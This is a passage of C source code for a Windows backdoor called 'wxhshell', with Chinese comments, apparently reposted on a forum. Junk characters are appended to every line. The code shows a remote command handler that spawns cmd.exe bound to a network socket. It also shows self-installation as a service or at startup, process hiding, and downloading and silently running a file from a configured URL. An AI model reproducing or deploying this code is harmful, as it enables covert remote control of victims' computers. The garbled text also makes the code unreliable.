  else { fF[n?:VV  
|TF,Aj   
    switch(cmd[0]) { qqT6C%Q`kG  
  hD{+V!{  
  // 帮助 B<DvH"+$  
  case '?': { l@Ma{*s6=5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &WN4/=QW-J  
    break; ]8ua>1XS  
  } j+]>x]c0  
  // 安装 _o~<f)E[9  
  case 'i': { $EW31R5h<s  
    if(Install()) ].]yqD4P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNUbH!PO  
    else "6^tG[G%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mA(K`"Bfh  
    break; tf|/_Y2  
    } dm,7OQ  
  // 卸载 ,$Qa]UN5Q  
  case 'r': { QX ishHk&  
    if(Uninstall()) .x$+R%5U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J6Hw05%0=  
    else . l RW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] M "{=z  
    break;  ;4 R1  
    } X3(:)zUL  
  // 显示 wxhshell 所在路径 ()JM161  
  case 'p': { DF%\ 1C>  
    char svExeFile[MAX_PATH]; * gr{{c  
    strcpy(svExeFile,"\n\r"); ?;,s=2  
      strcat(svExeFile,ExeFile); P[n` X  
        send(wsh,svExeFile,strlen(svExeFile),0); 3m#v|52oj  
    break; Z66akr  
    } r1EccY  
  // 重启 w4:S>6X  
  case 'b': { ]p(+m_F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); epCU(d*b  
    if(Boot(REBOOT)) x?KgEcnw2X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s6OnHX\it7  
    else { *6e`km  
    closesocket(wsh); JTNQz  
    ExitThread(0); E{^*^+c"h  
    } x8.7])?w  
    break; ~IZ'zuc  
    } ->6 /L)  
  // 关机 zHG KPuk'  
  case 'd': { )^ R]3!v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zq2dCp%  
    if(Boot(SHUTDOWN)) 24Z7;'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Z 9<La  
    else { T.d+@ZV<#  
    closesocket(wsh); #R"9(Q&  
    ExitThread(0); {\ P$5O{%  
    } W)1)zOD  
    break; LH"MJWO J  
    } l?NRQTG  
  // 获取shell 7S7gU\qOj  
  case 's': { /S$p_7N  
    CmdShell(wsh); <(6@l@J|6  
    closesocket(wsh); 699z@>$}  
    ExitThread(0); vI{JBWE,S  
    break; W tnZF]1:u  
  } .UakO,"z  
  // 退出 1s-k=3)  
  case 'x': { x6* {@J&5*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kCL)F\v"iT  
    CloseIt(wsh); I$\dT1m$  
    break; Ljq/f& c  
    } $@FD01h.t3  
  // 离开 m/| >4~  
  case 'q': { ]NNLr;p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pM@|P,w {  
    closesocket(wsh); |]RV[S3v  
    WSACleanup(); /gL(40  
    exit(1); v{i'o4  
    break; !(*mcYA*W  
        } gq*- v:P>  
  } R s_@L}U..  
  } -\6tVF11z  
%'kaNpBz  
  // 提示信息 v$K`C;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'v* =}k  
} Vg#s  
  } ^5qX+!3r{  
; @ h{-@  
  return; AT<gV/1l  
} 00Tm0rY  
sD1L P  
// shell模块句柄 ^*`{W4e]  
int CmdShell(SOCKET sock) bEV 9l  
{ Z 7t0=U  
STARTUPINFO si; mAhtC*  
ZeroMemory(&si,sizeof(si)); pL]C]HGv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C.C)&&|X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H4 Ca+;  
PROCESS_INFORMATION ProcessInfo; >^Klq`"?g=  
char cmdline[]="cmd"; 5znLpBX<N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }e6Ta_Z~  
  return 0; n <6}  
} LU_@8i:  
::g"dRS<v  
// 自身启动模式 `~WxMY0M  
int StartFromService(void) 8Z4d<DIJ  
{ [y\ZnoB  
typedef struct $^.LZ1Jd  
{ d;|e7$F'  
  DWORD ExitStatus; 8X!UtHml  
  DWORD PebBaseAddress; [z]@ <99/  
  DWORD AffinityMask; p/:)Z_  
  DWORD BasePriority; 6`]R)i]  
  ULONG UniqueProcessId; v'a]SpE5  
  ULONG InheritedFromUniqueProcessId; |A8Ar7)  
}   PROCESS_BASIC_INFORMATION; =   
;DL|%-%;$r  
PROCNTQSIP NtQueryInformationProcess; b,Ed}Ir  
/R^HRzTO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! W$ u~z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ') 5W  
Ms<^_\iPN  
  HANDLE             hProcess; 7I/Sfmqy"O  
  PROCESS_BASIC_INFORMATION pbi; -g]/Ko]2@$  
1.o-2:]E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s{NEP/QQJ  
  if(NULL == hInst ) return 0; p)f OAr  
>@[`,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U`,&Q ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GD}3 r:wDs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i)1E[jc{p!  
{p|OKf  
  if (!NtQueryInformationProcess) return 0; ]cc4+}L~  
Hig=PG5I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;*:d)'A  
  if(!hProcess) return 0; HW|c -\tS  
!aeL*`;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;wbQTp2  
I.fV_ H^  
  CloseHandle(hProcess); ibl^A=  
}H?8~S =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O4@Ki4f3A%  
if(hProcess==NULL) return 0; { Y|h;@j$  
oB-&ma[ZS  
HMODULE hMod; 9;&2LT7z  
char procName[255]; R)I 8 )  
unsigned long cbNeeded; X8ev uN  
82~UI'f \  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m`g%\o^6i  
#KXazZu"  
  CloseHandle(hProcess); Y6`9:97  
r9uY ?M  
if(strstr(procName,"services")) return 1; // 以服务启动 .i"v([eQ  
% rdW:  
  return 0; // 注册表启动  ^OI  
} -fj;9('YJ  
vYL{5,t {1  
// 主模块 @ ~ N:F~  
int StartWxhshell(LPSTR lpCmdLine) oZ& ns!#  
{ J@oGAa%3)  
  SOCKET wsl; //JF$o=)D  
BOOL val=TRUE; fg8V6FS  
  int port=0; 6^ wg'u]c  
  struct sockaddr_in door; la8se=^  
ci+Pg9sS  
  if(wscfg.ws_autoins) Install(); Q0gO1 T  
_R1UEE3M  
port=atoi(lpCmdLine); ,vrdtL  
`Vw9j,G  
if(port<=0) port=wscfg.ws_port; 3rZFN^  
Fw+JhI VP  
  WSADATA data; hAOXOj1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V(L~t=k$  
k!xi (l<C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zek\AQN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,4NvD2Y  
  door.sin_family = AF_INET; ba% [!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L:`|lc=^  
  door.sin_port = htons(port); 6[69|&  
394u']M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ufv{6"sH  
closesocket(wsl); N Rcg~Nu  
return 1; 6vX+- f  
} 6O"Vy  
'M_8U0k  
  if(listen(wsl,2) == INVALID_SOCKET) { <eO 7b6_  
closesocket(wsl); F@ZG| &  
return 1; a,d\< mx  
} Ki^m&P   
  Wxhshell(wsl); wC{ =o`v  
  WSACleanup(); nv{ou [vQ  
L -b~#  
return 0; u,PrEmy-  
CUnZ}@?d  
} H5,{Z  
=V"ags   
// 以NT服务方式启动 L FHyiIO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @IB8(TZ5I  
{ "3Dvc7V  
DWORD   status = 0; VDPqI+z  
  DWORD   specificError = 0xfffffff; k5w+{iOh  
? Q.Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; CLQ\Is^]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yl&eeM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5>j,P   
  serviceStatus.dwWin32ExitCode     = 0; nkS6A}i3o  
  serviceStatus.dwServiceSpecificExitCode = 0; 3dcZ1Yrn  
  serviceStatus.dwCheckPoint       = 0; 5`^"<wNI  
  serviceStatus.dwWaitHint       = 0; , $}P<WZMu  
,G"?fQ7zR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m]Z+u e  
  if (hServiceStatusHandle==0) return; &'WgBjP  
-hQ=0h~\B.  
status = GetLastError(); 7vNS@[8  
  if (status!=NO_ERROR) T(a* d7  
{ g|"z'_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ) OZDq]mV  
    serviceStatus.dwCheckPoint       = 0; pJ+>qy5  
    serviceStatus.dwWaitHint       = 0; A7VF >{L./  
    serviceStatus.dwWin32ExitCode     = status; T>g1! -^  
    serviceStatus.dwServiceSpecificExitCode = specificError; %T}{rU~X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BR*" "/3`  
    return; eP &K]#  
  } ;y=w :r\A  
y|.wL=;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .NCQiQ  
  serviceStatus.dwCheckPoint       = 0; aZ5qq+1x  
  serviceStatus.dwWaitHint       = 0; E Q?4?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E4}MvV=  
} 4d!&.Qo9  
Z6K9E=%)c  
// 处理NT服务事件,比如:启动、停止 EIEwrC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {4}Sl^kn*  
{ V *S|Qy!p  
switch(fdwControl) |8`}yRsQ  
{ [DGq{(O  
case SERVICE_CONTROL_STOP: A"vI6ud>  
  serviceStatus.dwWin32ExitCode = 0; - CM;sXq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WVy"MD  
  serviceStatus.dwCheckPoint   = 0; N%y%)MI8  
  serviceStatus.dwWaitHint     = 0; x~Se-#$  
  { 4z#CkT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?B@hCd)  
  } 9tl Fbu  
  return; n0 !S;HH-  
case SERVICE_CONTROL_PAUSE: ai#EFo+#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `'0opoQRe  
  break; Y)BKRS~  
case SERVICE_CONTROL_CONTINUE: 5kC#uk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +8Peh9"  
  break; 0AR4/5.  
case SERVICE_CONTROL_INTERROGATE: 5Tn4iyg;B  
  break; !RiPr(m@y  
}; :".!6~:2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MAJvjgd ..  
} h2=zvD;  
Qksw+ZjY#{  
// 标准应用程序主函数 %{zM> le9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8y|(]5 'r  
{ fQOaTsyA  
m6lNZb]  
// 获取操作系统版本 JC>}(yQA  
OsIsNt=GetOsVer(); 1;? L:A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I*K^,XY+  
r)+dK }xl  
  // 从命令行安装 E+E5`-V  
  if(strpbrk(lpCmdLine,"iI")) Install(); s Uj#:X  
f8[2$i*cL  
  // 下载执行文件 Plm3vk=  
if(wscfg.ws_downexe) { |7|mnOBdDf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %*eZoLD g]  
  WinExec(wscfg.ws_filenam,SW_HIDE); dN\pe@#lKP  
} $PrzJc  
hH@018+  
if(!OsIsNt) { 2"BlV *\lS  
// 如果时win9x,隐藏进程并且设置为注册表启动 yv$MQ~]  
HideProc(); Hsp|<;Yg  
StartWxhshell(lpCmdLine); Qf=%%5+?8  
} jLb3{}0  
else >z[d ~  
  if(StartFromService()) tvFJ^5  
  // 以服务方式启动 T,WWQm  
  StartServiceCtrlDispatcher(DispatchTable); ?W.Y x7c  
else xl# j_d,  
  // 普通方式启动 K VQZ  
  StartWxhshell(lpCmdLine); _r^&.'q  
}d6g{`  
return 0; )>TA|W]@  
}
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只看该作者 1 发表于: 2006-10-10
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